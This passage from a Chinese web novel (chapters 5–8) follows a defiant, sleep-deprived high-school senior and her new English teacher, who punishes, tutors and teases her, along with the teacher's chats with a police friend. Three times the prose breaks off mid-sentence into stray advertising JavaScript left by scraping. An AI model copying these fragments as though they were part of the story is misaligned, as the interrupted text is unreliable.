在江暖断断续续睡了两觉之后,终于盼来了悦耳动听的放学铃声。 江暖揉着压麻的胳膊,瞥了一眼陈沐禾密密麻麻的英语卷子,“转性了?这么拼!” “我答应宋宋要好好学习英语的。”陈沐禾如视珍宝似的的将卷子装进书包。 “也不知道她给你灌什么迷魂汤了!”江暖无语的在心里直翻白眼,“行吧!那你加油。” 陈沐禾身子蹭过去一点儿,看了一眼江暖空白的试卷,眨巴眨巴眼,“宋宋不是说明天上课要讲这套卷子,你怎么一个字都没写啊!” “大惊小怪什么?我什么时候写过卷子?”江暖将卷子胡乱塞进桌兜,冷哼一声,“再说了她要讲我就得写?她多大脸?!” 陈沐禾:…… “你不写,她肯定又要你罚站!” “我又没睡觉,她凭什么让我罚站!” 5. 第5章 Good 三人收拾好书包,去了趟学校的超市。 回宿舍的路上,林洛看了眼周围走路都在背书的同学,又看着她们三个手里的雪糕。破天荒的提议道:“高三了,我们是不是该考虑一下好好学习了?” 陈沐禾目光专注且虔诚的舔着雪糕:“目前我只想学英语,其他的科目暂时还没兴趣。” “可是只学英语也考不上大学吧。”江暖将雪糕叼在嘴里,单手插兜,懒懒散散的。 “说的也是哈!”陈沐禾伸手拍了一把林洛的脑袋,“小林同学,你有这个觉悟很好,那从明天起,你上课就不要再看小说了。” “啊?那可不行,我还是更喜欢看小说。”林洛脑袋摇的和拨浪鼓似的。 江暖笑笑,目光望向前方的虚空,“反正我这辈子是考不上大学了,你们加油吧。” 林洛和陈沐禾相视一眼,异口同声,“我也考不上。” 江暖打了个哈欠,将没吃完的雪糕扔进路边的垃圾桶,“不说这个了睡觉要紧,困死了。” 因着放学太晚,三人困的完全没有去对方宿舍串门的心思,分别回到各自的寝室。 高三有十四个班,六班排名第三。因此年级前一百名里有三分之一的学生在六班。而这些学霸里有三人和江暖分到了同一个宿舍。 江暖无语,三个学霸配一个学渣,也不知道聪明绝顶的教导主任是怎么分配的宿舍。 江暖推开宿舍门,看向靠墙的书桌区域,扫了眼大半夜还在刷题的学霸们,没打招呼,拿上自己的洗漱用品去卫生间洗漱。 不久后,江暖洗漱完躺在床上,等了将近半个小时见她们依旧没有睡觉的意思。 忍无可忍,无需再忍! 江暖“腾”地一下坐起身,盘腿坐在床上,盯着学霸们奋笔疾书的背影,声音阴沉,“你们不愿意睡觉能不能开自己的台灯学习,能别开着大灯影响我睡觉吗?” 三位学霸闻言停笔,愣了几秒,齐刷刷地扭头看向不远处面色不善的江暖。 碍于江暖是班里出了名的暴脾气,而且今天她还毫不留情的怼了老师,她们敢怒不敢言,只好默默地关上顶灯,很快又打开自己的护眼小台灯。 室内陷入昏暗,江暖满意的躺下,阖眸。 虽然宿舍的环境还不错,但学校的床终究比不上家里一米八的席梦思大床。 江暖在床上翻来覆去,死活睡不着。 也不知道江知云在做什么。 国外现在应该是白天吧。 想到这里江暖从枕头下面拿出手机,打开微信,点开置顶的聊天框,敲敲打打,很快又删掉了输入框本就不多的几个字。 算了,懂事点,别打扰她工作了。 江暖牵起一抹苦笑,戴上耳机,听着熟悉的播客,在不知不觉中入眠。 翌日六点,闹钟吵醒了熟睡的江暖。 她紧闭着双眸,迷迷糊糊中就像个小木偶一样习惯性地翻了个身,胳膊伸得老长打算一把关掉床头柜上那吵个不停的闹钟。 “扑通”一声,江暖像个人形大沙袋似的狠狠摔在了地上。 这一摔,像是给她身体里的瞌睡虫来了个致命一击,一下子全给摔死了。 江暖哼哼唧唧地撑着手肘从地上爬起来,一边爬还一边嘟囔:“大爷的,摔死我了!!” 她手揉了揉自己可怜的屁股,在心里暗自庆幸:“还好住在下铺,这要是住上铺,估计现在都摔得半身不遂了吧…” 半晌,江暖后知后觉地眨眨眼,“咦,宿舍其他人呢?” 环顾四周,发现宿舍里空空荡荡的,只有她自己一个人,室友们早都走了。 江暖不太高兴的同时又松了口气,“走了也好,不然看到刚才的一幕,得多尴尬啊!我的一世英名恐怕就毁于一旦了。” 同一时间,宋晚秋起床,洗漱完画了个精致的妆容,给自己烤了面包,坐在餐桌上配着黑咖啡,优雅的享用早餐。 冷星然揉着眼睛走到餐厅,“早。” “早,怎么起这么早?”宋晚秋看了一眼时间才六点半,“你不是九点上班吗?” 冷星然:“我送你去上班。” “不用送,我打车去。”宋晚秋起身去厨房给她热牛奶,“我去给你弄早餐。” 冷星然跟进厨房,烤面包,“说好在你车修好之前的这段时间我送你上班的。” “那就麻烦冷警官咯。”宋晚秋知道这人约定好的事情一定要做到,也没再推辞。 “跟我还客气!” 宋晚秋目光落在冷星然眼周的乌青上,抿了抿唇,“我准备搬到学校附近住。” 冷星然愣了几秒,板着脸,“为什么?不是说好先住在我家的吗?” 宋晚秋见冷星然脸色忽地沉了下来,撅着红唇,娇声娇气,“你这儿离学校有点远嘛。我每周有三天要跟早读,还有三个晚自习…” 冷星然在城东分局上班,为了方便上班房子就买在了这边,而三中在市中心,不堵车的情况下开车得四十分钟。 冷星然想到宋晚秋家在市中心,离学校也就十来分钟,建议她,“不如你回家住。” 宋晚秋毫不犹豫的摇头,“我不要,这好不容易工作了,独立了,我想有自己的空间。” 冷星然想了想,点点下巴,“也是,那你找好房子了吗?” 宋晚秋嗯了一声,将热好的牛奶倒进流理台上的杯子,“学校附近有一套精装的公寓,我去看了,环境还不错,已经定下了。” “这么快。先斩后奏啊!”冷星然算了一下两人的上班时间,“行吧。那周末我来帮你搬家。” “好啊。” 两人有说有笑的吃完早餐已然七点了,宋晚秋八点的课,于是两人手忙脚乱的出门。 七点五十,车子抵达三中门口。 “我要迟到了,先走一步哈。””宋晚秋火烧眉毛似的,话还没说完,就“哐”的一声关上了车门,然后像离弦的箭一样,卯足了全身的劲儿朝着学校飞奔而去。 冷星然静静地看着扎着低马尾,穿着白衬衫配牛仔裤,踩着小白鞋,正摆臂狂奔的宋晚秋。脑海里莫名浮现出高中时期的宋晚秋。 那个时候的她穿着校服,也是像现在这样在校园里一路狂奔。 冷星然不禁暗暗感叹:“原来,迟到的总是同一拨人啊。 宋晚秋一边拔足狂奔,一边腹诽:“以前当学生快迟到了在教学楼狂奔,现在当老师又因为快迟到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了在教学楼里狂奔。我这到底是什么命啊!” 她边跑边喘着粗气,继续在心里嘟囔:“我到底是怎么就做老师了呢?” 宋晚秋的妈妈是大学教授,爸爸是一点都不霸道的霸道总裁。宋晚秋父母在宋晚秋的事上一向非常民主。 博士毕业前的家庭会议上,宋晚秋父母给了她两个选项,供宋晚秋“自主选择”就业方向。 A选项:在宋晚秋父亲公司做总裁助理。 B选项:像宋晚秋妈妈一样做人民教师。 宋晚秋最终选择了有编制的教师,第一是因为她的专业对口,而且受她妈和恩师的影响她还挺喜欢老师这份伟大的职业,第二是因为她妈给了她一个“你敢选你爸,你就死定了”的眼神。 宋晚秋暗想:“早知道要六点起床,当时就应该选爸爸的。” 宋晚秋气喘吁吁的冲到办公室,气都没敢喘一口,抓起桌上的教案和水杯转身又跑了出去。 许嘉看到宋晚秋和一阵风似的跑了出去,端起桌上的茶杯,满眼赞赏的给其他老师说:“不得不说啊,这年轻老师就是热爱工作,上课都是跑着去的…” “谁说不是呢!”其他老师附和的点头。 “叮——” 预备铃声响起,教学楼走廊光线明亮,楼道里空无一人。 六班在走廊最里面,宋晚秋站在虚掩着的教室门前,左手拿着教案,右手叉着腰,准备等气喘匀后再进去。 毕竟作为美女老师要注意自身形象。而且让学生发现老师上课险些迟到,有损威严。 走廊另一头,迟到的江暖隔着大老远便看见宋晚秋站在门口,像只老黄牛似的哼哧哼哧的喘着粗气。喘气声感觉都能把走廊震得晃三晃。 江暖乌溜溜的眼珠子滴溜溜一转,蹑手蹑脚地走上前去,悄悄绕到宋晚秋的身后,突然扯着大嗓门喊道:“Goodmorning,teacher!” 正沉浸在自己是威严美女教师美梦中的宋晚秋,被这身后突然冒出来的声音吓了一大跳,身子像触电似的瑟抖了一下,过了好半天才慢悠悠地扭头看向身后的人。 只见身后站着的女孩眼睛干净透澈,不沾风尘,黑白分明的像婴儿的眼睛一样干净。 很明亮。 明亮的完全藏不住里面漾着的狡黠。 视线下移,果不其然看到了她勾起的唇。 显而易见,她是故意的。 好死不死,迟到被这小魔王看到了! “Morning!”宋晚秋指尖微蜷起,勾起一抹得体的笑,冲教室门抬抬下巴,“快进去吧,下次不要迟到了!老师在这儿等你好半天了!” 江暖:…… 好一个张嘴就来的胡说八道! 就说长得漂亮的老师不一定是好老师吧! 江暖冷笑一声,赏给宋晚秋一个白眼,一把推开门,双手揣进上衣兜,走进教室。 宋晚秋暗暗呼出一口气,紧跟其后。 讲台上,宋晚秋拿出自己做完的卷子,“同学们,这节课我们讲这套卷子…” 宋晚秋讲完了选择题,目光精准的落在靠窗倒数第二排的位置。 果不其然,某人又睡得昏天黑地。 6. 第6章 宋晚秋身子倚着讲台,眉心微拧,纤纤细指捏起一个粉笔头,眼睛紧紧盯着目标,就跟瞄准猎物的小猎人似的,随后用力一丢。 谁知道这不争取的粉笔头像是喝了假酒的小迷糊似的,完全偏离航线,可怜巴巴地落在了江暖的脚旁。 发现底下的同学在看着自己,宋晚秋不好意思地抿了抿唇角,不死心地又从粉笔盒里翻出个粉笔头。 这次她鼓足了劲,像个武林高手一样“嗖”地站直身子,用力一抛。 粉笔头稳准狠的落在江暖背上,结果那人像个木头人似的,纹丝不动,一点反应都没有。 宋晚秋无奈,拿起卷子走到江暖旁边,垂眸盯着少女被柔软发丝轻轻覆盖着的后脑勺。 眼神看起来似乎非常的温柔。 下一秒,宋晚秋毫不客气地扬起手,“啪”的一声,用力一巴掌就拍在那圆润饱满的脑袋上。 “靠!谁啊!有病啊?” 江暖像被踩尾巴的猫一样,猛然睁开眼,心脏被气得“咚咚咚”地跳动了几下,声音里的暴躁像要冲破屋顶似的,一点都盖不住。 宋晚秋好整以暇的看着她发起床气。 江暖双手捂着脑袋,偏头瞪着扰她清梦的罪魁祸首,语气不善,“又怎么了?” “你觉得呢?”宋晚秋伸手将江暖压在胳膊下的试卷抽出来,上面竟然一个字都没有,要不是被压的皱皱巴巴的,她都怀疑是新发的卷子。 “为什么不做试卷?” “不会。”江暖气还没消,语气很冲。 宋晚秋第一次见如此理直气壮的人,啪的一声,将江暖的卷子拍到桌上,左手食指往教室后方一指,“江暖,去后面站着!!” “你烦不烦啊!”江暖两臂交叉于身前,摆出强烈地抗拒姿态,扯着嗓子,“你是幼儿园老师吗?整天除了让学生去后面罚站你还会什么?” 被反过来教育的宋晚秋:…… 宋晚秋感觉自己乌黑的发顶也开始滋滋滋的往出冒白发了,也不知道当老师赚的工资,够不够她三天染一次黑发。 “去不去?” 江暖都没想立马拒绝,“不去!” “江暖,我再问你一次,去还是不去?”宋晚秋面色凝重,语气异常冷淡。 教室里的空气稀薄到让人压抑。 江暖感觉自己有点喘不过来气,小幅度的滚了滚喉咙,一脸不耐,抓起卷子,挺直腰背。 “去就去!” 这一次,宋晚秋中途没再好心的关心江暖还困不困,全程无视教室后面将卷子顶在头上,在无声抗议着的混世小魔王。 下课铃响起,宋晚秋目不斜视地离开教室。 陈沐禾和林洛屁颠屁颠地跑到后面,将满脸写着“姑奶奶现在非常生气”的江暖请回座位。 陈沐禾:“宋宋这次可被你气的够呛啊,上课一次都没笑过。” “她爱笑不笑,关我屁事。”江暖将卷子揉作一团,扔进桌兜,趴在桌子上拒绝交流。 陈沐禾:…… 陈沐禾拍了拍许洛的胳膊,两人脑袋凑到一起,声音很大的交头接耳。 陈沐禾一脸苦大仇深,叹息道:“这样下去不行啊!我担心暖宝会把宋宋气走…” “极其有可能!”林洛点头附和道:“可咱们也劝不动暖宝啊!她一向说一不二的。” “那不然我们让宋宋别管暖宝了?”陈沐禾很快又自己否定了这个想法,“宋宋一看就是那种特别特别负责任的好老师,绝对不可能放任暖宝上课睡觉的。” 江暖在心底直翻白眼,腹诽:“像她这种薄情寡义,腹黑又没素质的人如果也算好老师,那这个世界上的好老师恐怕都灭绝了!” 林洛嗯了一声,沉默几秒,灵光一现,“这周末我们去庙里拜拜吧,求各路神仙帮忙解除暖宝和姓宋的之间的孽缘?” 陈沐禾思忖片刻,激动的点头:“我看行!” 被宋晚秋气的毫无睡意,用假寐掩饰愤怒的江暖听到两人的对话,没忍住差点笑出声。 人都没办法解决的事情,求神拜佛更没用! 不过她们倒是总结的十分到位,自己和宋晚秋的确是孽缘! 欠了八辈子的孽缘! 而这段孽缘江暖想躲也躲不掉,因为今晚连着两节英语晚自习,她只好将揉成一团的试卷又从桌兜里拿出来。 白天睡了一天,晚自习江暖破天荒的没再睡觉,当然她也没认真听课,手里拿着一本历史书百无聊赖的翻着。 宋晚秋袖口半挽,点着黑板讲题,中途巡视的时候,她发现江暖在看历史课本,破天荒的没训她,只是深深地看了她一眼。 江暖毫不怯懦的与她对视,做好了去后面罚站的准备,结果宋晚秋一句话也没说,走了。 走了?! 她认输了?妥协了?不管我了? 这就对了嘛!其他老师都不管我,你一个新来的老师搞什么特殊! 显着你了! 九点半,煎熬的晚自习终于结束,熬完最后一节自由复习的自习课就可以放学了。 江暖靠在凳子上伸了个大大的懒腰,准备去走廊里吹吹夏夜难得的晚风,发现宋晚秋拿着教案大步流星走了过来,随后杵在她旁边。 江暖迷惑的眨巴眨巴眼睛,“又干吗?” 宋晚秋言简意赅,“拿上试卷跟我走。” 江暖啊了一声,手拍着桌子大声抗议,“现在是下课时间!” “嗯,老师听到了下课铃声。”宋晚秋曲起指节敲了敲桌面,不容置喙,“速度!” 江暖拉开凳子,豁然站起身,发现穿着平底鞋的宋晚秋竟然还比自己高了大半个脑袋,悄悄踮起脚尖给自己增加气势。 “我不去!难道您不知道作为老师,不应该占用学生宝贵的课余时间吗?” 宋晚秋轻飘飘的哦了一声,抬起纤细的手腕看了一眼腕上的手表,“老师陪你等上课铃响。” 江暖:…… “随便你,我要出去了。”江暖用身子撞开堵在面前的宋晚秋,径直走向教室外面。 宋晚秋面色平静,丝毫不介意她的无理,将手里的教案放在江暖课桌上,旋即自顾自的坐在她的座位上。 陈沐禾眼睛一眨不眨地盯着宋晚秋。 宋晚秋扭头看向身旁一脸懵的陈沐禾,想了几秒,问:“那个,你叫什么名字来着?” “老师,我叫陈沐禾。”陈沐禾扁了扁嘴。整个班里宋宋恐怕就只记得江暖的名字吧。 宋晚秋浅浅一笑,“陈沐禾同学,你有不会的题吗?” “啊?”陈沐禾愣了一下,摇头,“没有。” 宋晚秋:“有不会的题可以随时问老师的。” 陈沐禾乖巧点头,瞥了一眼门外趴在栏杠上的江暖,犹豫几秒,语气认真,“老师,江暖只是脾气不太好,而且她从小脑子里就缺根筋,您别跟她一般见识。她人其实不坏的…” “老师知道。”宋晚秋打断她,“每个人都有自己的闪光点,而且这个世上没有坏学生,只有不会教的老师。” “哦哦,那就好,那就好。”陈沐禾原本僵硬的身体,在听到回答后松弛下来,“我还害怕您会讨厌她呢。” “不会啊,老师很喜欢你们每一位同学。”宋晚秋双手放在江暖桌上皱皱巴巴的试卷上,一下又一下温柔的将其抚平。 “你和她关系一定很好吧。” 陈沐禾用力点点头,“我们是发小,从幼儿园就在一起玩了。” “那你知道她为什么不喜欢学习吗?” “不知道。”陈沐禾单手托腮,沉吟道:“我觉得她不是不喜欢学 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 习,她是什么都不喜欢。” 宋晚秋整理试卷的手一顿,蓦地想起在不经意间看到的江暖那空洞又茫然的眼神,不由地拧起眉头。 “是吗?我看她挺喜欢睡觉的。” “那是因为她经常失眠…”陈沐禾小声嘟囔了一句,冷不丁问:“宋宋,你是什么星座啊?” “摩羯。” 陈沐禾若有所思的轻点下巴,“怪不得你和江暖合不来呢!” “嗯?” “没什么,我平时比较喜欢研究星座。”陈沐禾捂住嘴偷乐。 “叮——”上课铃声响起,清脆的声音如同利箭一般穿透了校园的喧嚣。 江暖拖沓着脚步走进教室。 宋晚秋优雅的从江暖座位上站起来,将卷子递给她,“现在可以跟老师走了吗?” 江暖紧抿着唇,一手拎着卷子,一手拎着校服外套,黑着一张小脸,腰背挺直的跟在宋晚秋身后,俨然一副去干架的气势。 陈沐禾看着两人一前一后离去的背影,噗嗤一声笑出声,她笑得眼泪花都出来了。 摩羯和双子!土象和风象!铁链栓疯狗! 有意思!非常有意思! 高三教研组办公室。 宋晚秋抬手指了指自己的工位,“坐。” 江暖看着眼前柔软的真皮办公椅,明显比自己硌屁股的的木登子舒服多了,她也没客气,一屁股坐了上去,身子懒洋洋的靠在椅背上,脸上的表情好不享受。 宋晚秋:…… 宋晚秋将手里的教案放在桌子上,“现在把早上的卷子做一遍。” 江暖闭着眼,慢悠悠地摇头,“我不会。” “蒙你总会吧。”宋晚秋将旁边工位的凳子拉过来,坐在她旁边,拧开水杯,喝了口水,幽幽启唇,“三长一短选最短,三短一长选最长,填空和作文可以抄阅读理解。” 江暖倏地睁开眼,偏头一脸诧异的盯着宋晚秋,一时有点不敢相信,这些话竟然是从老师嘴里说出来的。 宋晚秋挑高眉头,“怎么?老师脸上有答案?” 江暖一噎,收回视线,语气嘲讽,“您可真是一位好老师。” “谢谢夸奖。” 话落,江暖感觉一口老血哽在心头。 再一次思考,这种人是怎么当上老师的。 而且还是高中毕业班的老师!! “快写。”宋晚秋催促。 “不想写,也不想蒙。”江暖翘着二郎腿,俨然一副吊儿郎当的混蛋模样。 宋晚秋脸上没什么表情,倏地站起身,又弯下腰,一把拉开办公桌下面的柜子。 就在江暖以为这人恼羞成怒,要拿出棍棒暴揍她的时候,宋晚秋拿出了一条柔软的毯子。 江暖:??? 宋晚秋拿着毯子半躺在办公椅上,将毯子抖开盖在自己身上,戴上眼罩,一副入眠的姿态。 “你这是做什么?”江暖愣住了。 “很难猜吗?当然是睡觉啊。”宋晚秋声音懒洋洋的,“你什么时候把试卷做完就什么时候回去睡觉。”停了一下,补充道:“对了,走的时候记得帮老师关灯。Thankyou!” 江暖难以置信,这人居然让她熬夜写卷子! 她坐不住了,噌的一下从椅子上站起来,愤愤道:“宿舍有门禁,十一点可就关门了!” 宋晚秋拖着长音哦了一声,“十一点啊?十一点你大概率是写不完的。看来今晚你需要屈尊和老师一起睡办公室了。” 江暖站在原地,表情在脸上僵着。 不待江暖发飙,宋晚秋再度开口:“不好意思啊,老师只有这一条毯子,今晚还得委屈你冻一夜,下次老师会给你备一条毯子。不过你们小孩儿火气旺,应该不会冷,大概也用不着。” 江暖:…… 7. 第7章 江暖眼皮痉挛似的跳了一下,烦躁的抓了抓头发,“老师,您跟我有仇吗?” “嗯?怎么会呢?”宋晚秋刻意放柔的声音显得有些无辜,“辅导学生写作业,难道不是老师该做的吗?” 这话没毛病!江暖简直气死了,用力闭了闭眼,一个字一个字的往出蹦,“行!算你狠!我写还不行嘛!” 宋晚秋唇角微勾,“加油,江暖同学。” 夏日的夜晚,闷热而宁静。窗外偶尔传来几声微弱的虫鸣,仿佛在暗暗为江暖鸣不平。 江暖从桌上的笔筒里拿了一只笔,一顿操作猛如虎,五分钟不到便蒙完了选择题。 十五分钟后,江暖扭头看了一眼半侧着身睡觉的宋晚秋,随后合起笔,将其轻轻地放回笔筒。 那人将柔软的毯子拉至下巴处,黑色的眼罩犹如神秘的面纱,遮住了她那如星辰般璀璨的眉眼,只露出挺翘的鼻尖,和粉嫩如桃花般娇艳欲滴的唇。 江暖一瞬不瞬的盯着宋晚秋。她发现宋晚秋右边耳尖上有一颗小小的痣。倒不是她观察得有多仔细,实在是宋晚秋太白了。 她整个人在灯光下宛如圣洁的仙子,白得发光。那黑色的小痣在她如雪的肌肤上显得格外明显,就像夜空中闪烁的星星,为她增添了一抹别样的魅力。 江暖忍不住的想,人家长这么好看,薄情一些是不是也情有可原呢? 在她走神之际,宋晚秋饱满的红唇微微翕动,发出懒洋洋的声音。“做完了?” 偷看被抓包的江暖慌乱地移开视线,不自在的嗯了一声。 宋晚秋坐直身子,缓缓摘下眼罩,露出那双好看的桃花眼,朝江暖伸出右手,纤细的手指如同白玉雕琢而成,“拿给我看看。” 江暖垂眸盯着眼前的手,抿了抿唇角,将卷子递给她。 宋晚秋将卷子放在大腿上,又朝江暖伸出右手,“给我支红笔。” “你怎么不自己取?” 宋晚秋朝自己的工位抬了抬下巴,“你占了我的位置。” 江暖:…… 江暖冷哼一声,从笔筒里取出红笔,递给宋晚秋。“说的像我喜欢占你位置似的!” 女孩鼓着腮帮子,耷拉着嘴角,发出一声撒娇般的冷哼声。说的话明明有点没礼貌,但宋晚秋却莫名的突然觉得她很乖,很可爱。 “Thankyou!”宋晚秋唇角弯了弯,淡笑了一下,接过红笔,低头一道题一道题的批阅。 五分钟后,宋晚秋将卷子还给江暖,神情非常纯真,“还不错,38,蛮适合你的分数。” 江暖:…… 怎么感觉这话是在骂人呢? “好了,你可以回去了。” 宋晚秋叠好毯子,优雅的站起身,抬起手对着门口的方向挥了挥,赶人的意味十分明显。 如蒙大赦的江暖哦了一声,但感觉这么轻而易举的被释放,心里有点不踏实,站着没动。 宋晚秋捂嘴打了个哈欠,拿出手机,给冷星然发语音,嗓音娇柔,“久等了,我马上出来。” 江暖瞥了她一眼,这女人居然还有这么温柔的时候,她不是没心没肺也没肝吗? 宋晚秋拿起桌上的包,转身发现江暖还站在原地,愣了一下,勾唇一笑,“怎么还不走?等老师请你吃饭?还是想再做套卷子?” 江暖嘁了一声,翻了个白眼,立马溜了。 车上。冷星然看着一脸疲倦的宋晚秋,递给她一块芝士蛋糕,“怎么这么晚才下班?” “别提了。”宋晚秋拢眉,打开蛋糕盒,吃了一大勺蛋糕,甜腻瞬间抚慰了她烦躁的心情。 “忙着降服我们班的混世小魔王呢。” “小魔王?”冷星然倏地拧起眉头,声音都跟着变沉了,“这个年纪的男生都血气方刚,你别和他们硬刚,要智取!” “不是男生。”宋晚秋摇摇头,想到江暖气的圆鼓鼓的腮帮子,像只小仓鼠,笑了一下,“是一个很可爱的女生。” “女…魔王?还可爱?!” “对啊,有个性的小孩儿很可爱啊。”宋晚秋想到什么,似笑非笑的看着她,“你还记得开学那天叫你阿姨的那个学生吗?” 冷星然点点下巴,“印象深刻。” “我说的小魔王就是她。” “什么?”冷星然陡然拔高声音。 冷星然想到目前三中只有高三开课,那孩子肯定就是高三学生,但高三有十四个班,没想到她居然是宋晚秋班里的学生。 这世界还真是小。 宋晚秋又吃了一勺蛋糕,含笑告状,“我第一天上课就被她怼了,我开玩笑说自己年轻又貌美,她直言不讳的说我自恋!” “嘿,这小孩是一点都不懂人情世故!” 宋晚秋嗯了一声,“所以我才说她有趣啊。” 宋晚秋又给冷星然讲了一下她们两这两天的摩擦,冷星然听完忍不住的感慨,“怎么感觉她有点像高中时期的你呢?” 宋晚秋思考了两秒,否认,“哪有?我高中可是年级第一呢。” “年级第一也不妨碍你做刺头啊。” 冷星然觑了一眼傲娇的宋晚秋,“想当初所有老师对你是又爱又恨呐。虽说你皮吧,但偏偏你成绩又好,因此教导主任总找不到词训你。” 顺着她的话,宋晚秋冷不丁想起那个时候她逃课看演唱会被抓,教导主任训她,“高三了还整天这么胡闹,你还想不想考大学了?” 高中时期的宋晚秋腰背挺直,表情和语气都牛逼哄哄的:“老师,我可是年级第一呢,如果连我都考不上大学,岂不是全年级的人都考不上了。那咱们学校今年的升学率要变成零了!” 教导主任瞬间哑口无言。 宋晚秋嗔了一眼看热闹的冷星然,心虚的抿了抿唇,“那个时候是真的狂,不过现在已然被生活搓圆捏扁了。” 冷星然目视前方,缓缓开口,“成长就像一位无声的工匠,缓缓地将我们每个人的棱角打磨平整。曾经的我们如尖锐的石块,在生活的激流中横冲直撞,带着年少的轻狂与不羁。然而,时光流转,成长让我们学会了收敛锋芒,变得圆润而沉稳了。” 停了一下,她扭头一笑,“现在该你这位工匠去打磨锐石了。” “No!我没想过要打磨她们,只是希望她们在保持个性的同时能找到自己的人生方向。” 宋晚秋仰天长叹:“人生路漫漫,还是让她们尽情享受这黄金般的青春吧。正所谓,人不轻狂枉少年啊!” “岁月虽在变更,但你依旧是你。”冷星然指尖敲击着方向盘,“上学的时候你是特立独行的学霸,如今工作了又是标新立异的老师。” “冷sir,我就当你在夸我咯。” “废话。”冷星然都丢给她一计眼刀,“姐们还能损你不成。” “那可说不准!” “我排长队买的芝士蛋糕喂了狗了!” “好你个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冷星然,你居然敢骂我是狗!” 清晨的阳光透过窗户洒在课桌上,形成一片片明亮的光斑。空气里弥漫着淡淡的油墨香,混合着夏天特有的潮热气息。 江暖掐着点走进教室,抬眸发现黑板上还残留着宋晚秋留下的未擦净的板书痕迹。 她扭过头看向教室后面的黑板,目光停留在“高考倒计时298天”上。 自从换了英语老师后,江暖算是体会到了什么是“度日如年”。 烦死了,能不能明天就高考啊! 不知是换了住宿环境不习惯还是被宋晚秋气的,昨晚江暖硬生生失眠到半夜三点,更离谱的是早上的课,她破天荒的没能入睡。 中午放学,陈沐禾见江暖困得走路都在打摆子,担心她摔跤,挽着江暖的胳膊,“你真不和我们一起去吃饭啊?” “不去,我得回去补觉。”江暖哈欠连连,眯着眼睛,怨气冲天般叹气,“下午有英语课,我肯定是没办法睡觉了。” “可你也不能饿着肚子睡觉啊!”林洛想了一下,提议,“要不我们把饭提回宿舍吃?” “不用,我不饿也没胃口,”江暖抽回被挽着的胳膊,“你们去吃吧,我回宿舍了。” 陈沐禾和林洛站在原地看向江暖的背影,忧心忡忡的叹了口气。 午后炽热的阳光从窗户照进教室,窗外的蝉鸣声与讲台上宋晚秋讲解习题时粉笔触碰黑板发出沙沙声交织在一起,形成一种独特的背景音。 江暖从桌兜里拿出面包、干脆面、饼干等一大堆零食,将脑袋藏在堆满各类复习资料的课桌上,鬼鬼祟祟的开始撕包装。 宋晚秋习惯性的将目光落在窗边,发现小魔王黑乎乎的脑袋瓜一直在上下浮动,愣了几秒。 这小孩儿今天居然没睡觉?! 讲完课文做配套练时,宋晚秋双手背在身后在教室里穿梭巡视。 她时不时停下脚步,微微俯身,仔细查看学生的答题情况。 偶尔发现有学生答题有误,她会用手指轻轻点着关键之处,然后轻声讲解。 “喂,别吃了,老师来了。”陈沐禾眼瞅着宋晚秋离她们越来越近,着急的拿胳膊肘不停戳江暖。 边偷吃边看小说的江暖没听到她的声音,偏头看向陈沐禾,嘴里塞的满满当当的,声音含含糊糊的问:“干吗?你也饿了?” 陈沐禾不说话,一个劲的冲江暖挤眉弄眼。 江暖想也不想,“你怎么了?飞虫钻进眼睛里了?” 陈沐禾无语,抬头看向宋晚秋,手握成拳放在唇边猛烈干咳起来,想以此提醒江暖。 “怎么又开始咳嗽了?”江暖腾出一只手拍了拍陈沐禾的后背,“不是吧?你把飞虫吃了?” “脑回路还挺清奇!” 宋晚秋脸上表情凝着,嘴角带着一丝不易察觉的笑,冷着声音打断某人的异想天开。 话音一落,江暖一个激灵,茫然的转头。 下一秒,她完全呆住了。 嘴巴张在半空中,面包还捏在手里。 过了足足半分钟,江暖才转头看向同桌,愤懑的蹙起眉头,“你怎么不喊我啊?” “我说了老师来了,是你自己没听到啊。”陈沐禾简直比窦娥还冤。 宋晚秋手越过江暖桌上的零食堆,拿起下面的小说,将洒在小说上的面包屑抖落干净,看着小说封面,略带嫌弃地抽了抽嘴角。 “校园男神团的甜蜜围剿…” 8. 第8章 江暖闲的无聊,找林洛随便要了本小说打发时间,她甚至都没注意小说名字。此时此刻这几个字被宋晚秋读出来,她脸一下子涨得通红,从耳根一直红到脖子,眼睛里满是尴尬。 “你还给我。”江暖将面包扔桌上,起身,伸长手抢害她丢脸的小说。 “没收!课堂上不可以看闲杂书。”宋晚秋将小说藏在背后,下巴朝后一抬,“既然你站起来了,那就去后面站着听吧。” “凭什么?”江暖梗着脖子,“我又没睡觉!” “可你也没听课。”宋晚秋眉目压着不悦,平静的语气里带着一丝强势,“江暖,不要让我请你第二遍!” 江暖不知道为何,她本能的有点害怕生气了的宋晚秋。可能是她见过课堂外的宋晚秋,所以总感觉这人亲和的外表下藏着暴虐的灵魂。 “去就去。”江暖将桌上的火腿和饼干揣进校服兜里,拿着课本走向后面。 讲台上,宋晚秋看着讲桌上的小说,黑沉沉的眸子里漾起些许笑意。 没想到这小孩居然喜欢看这种玛丽苏文学。 江暖回想起刚才宋晚秋看到小说封面时唇角勾起的那抹嘲讽,一边偷偷啃火腿,一边恨铁不成钢的瞪着林洛的脊背。 一天不好好学习,看什么破小说! 这下丢人丢到北冰洋了! 下课前,宋晚秋缓缓走到江暖面前,饶有兴致的打量着她,丢下一句,“校园男神应该不会围剿唇边沾着饼干屑的傻白甜…” 说完下课铃声适时响起,宋晚秋踩着细高跟潇洒的从教室后门离开。 江暖一脑门问号:??? 半晌,江暖反应过来这人在说什么,抬起手擦了擦嘴。 靠!果然一手饼干屑! 江暖白净的脸黑的和活阎王似的,气急败坏的回到座位,双手叉腰,居高临下的瞪着林洛和陈沐禾,扬言,“我要和你俩绝交!” 两人啊了一声,异口同声,“为什么?” “你还好意思问我为什么?都怪你的破小说让我成功社死!江暖指着林洛,“你说说你都多大人了,居然还看这么土的小说!” 林洛扁扁嘴,可怜兮兮的辩解:“书是我在地摊上随便买的,这不是图便宜嘛,二十块钱三本呢!” 江暖无语扶额,“把你买的垃圾扔了,我周末去书店给你买有品位的。” “没问题。”林洛拽了拽江暖的衣袖,“那…咱还绝交吗?” 江暖这会儿气消了大半,“只要你保证不再看这种无脑小说,咱就还是姐们!” 林洛举起双手表忠心,“我不看了,闺蜜大于天,小说不重要。” 